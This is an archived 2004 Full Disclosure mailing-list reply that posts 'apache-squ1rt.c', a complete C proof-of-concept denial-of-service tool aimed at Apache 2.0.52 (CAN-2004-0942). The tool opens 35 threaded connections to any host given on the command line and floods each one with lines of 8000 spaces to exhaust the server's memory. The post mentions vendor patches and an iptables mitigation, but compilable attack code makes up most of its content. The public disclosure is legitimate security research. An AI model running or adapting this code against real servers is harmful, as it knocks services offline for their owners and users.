Full Disclosure mailing list archives
Re: DoS in Apache 2.0.52 ?
From: Daniel Guido <dguido () gmail com>
Date: Wed, 17 Nov 2004 23:53:36 -0500
Like Mauro, I also rewrote the exploit for Linux and couldn't get it to work at first. But I looked at it a little more and found it was because Gentoo already had it patched. It looks like most of the other vendors are also already on the ball with this one. So, as long as it works, here it is: apache-squ1rt.c: /* Apache Squ1rt, Denial of Service Proof of Concept Tested on Apache 2.0.52 j0hnylightning () gmail com dguido () gmail com Sends a request that starts with: GET / HTTP/1.0\n 8000 spaces \n 8000 spaces \n 8000 spaces \n ... 8000 times Apache never kills it. Takes up huge amounts of RAM which increase with each connection. Original credit goes to Chintan Trivedi on the FullDisclosure mailing list: http://seclists.org/lists/fulldisclosure/2004/Nov/0022.html More info: http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0942 Versions between 2.0.35 and 2.0.52 may be vulnerable, but only down to 2.0.50 was tested. This attack may be preventable with a properly configured iptables ruleset. Gentoo already has a patch out in the 2.0.52-r1 release in the file 06_all_gentoo_protocol.patch v2 Rewritten to use pthread. gcc apache-squ1rt.c -lpthread */ #include <stdio.h> #include <errno.h> #include <string.h> #include <stdlib.h> #include <unistd.h> #include <netdb.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <pthread.h> #define DEST_PORT 80 void *squirtIt(char *hName); char attackBuf[8000]; char letsGetStarted[128]; int main(int argc, char **argv){ int num_connect; int ret; pthread_t tid[35]; sprintf(letsGetStarted, "GET / HTTP/1.0\n"); memset(attackBuf, ' ', 8000); attackBuf[7998]='\n'; attackBuf[7999]='\0'; if (argc != 2){ fprintf(stderr, "Usage: %s <host name> \n", argv[0]); exit(1); } for(num_connect = 0; num_connect < 35; num_connect++){ ret = pthread_create(&tid[num_connect], NULL, (void *)squirtIt, argv[1]); } /* assuming any of these threads actually terminate, this waits for all of them */ for(num_connect = 0; num_connect < 35; num_connect++){ pthread_join(tid[num_connect], NULL); } return 0; } void *squirtIt(char *hName){ int sock, i; struct hostent *target; struct sockaddr_in addy; if((target = gethostbyname(hName)) == NULL){ herror("gethostbyname()"); exit(1); } if((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0){ perror("socket()"); exit(1); } addy.sin_family = AF_INET; addy.sin_port = htons(DEST_PORT); bcopy(target->h_addr, (char *)&addy.sin_addr, target->h_length ); memset(&(addy.sin_zero), '\0', 8); if((connect(sock, (struct sockaddr*)&addy, sizeof(addy))) < 0){ perror("connect()"); exit(1); } send(sock, letsGetStarted, strlen(letsGetStarted), 0); for(i=0; i < 8000; i++){ send(sock, attackBuf, strlen(attackBuf), 0); } close(sock); } _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
Current thread:
- DoS in Apache 2.0.52 ? Chintan Trivedi (Nov 01)
- Re: DoS in Apache 2.0.52 ? Mauro Flores (Nov 01)
- Re: DoS in Apache 2.0.52 ? Chintan Trivedi (Nov 01)
- Re: DoS in Apache 2.0.52 ? Michal Zalewski (Nov 01)
- <Possible follow-ups>
- Re: DoS in Apache 2.0.52 ? Daniel Guido (Nov 17)
- Re: DoS in Apache 2.0.52 ? Mauro Flores (Nov 01)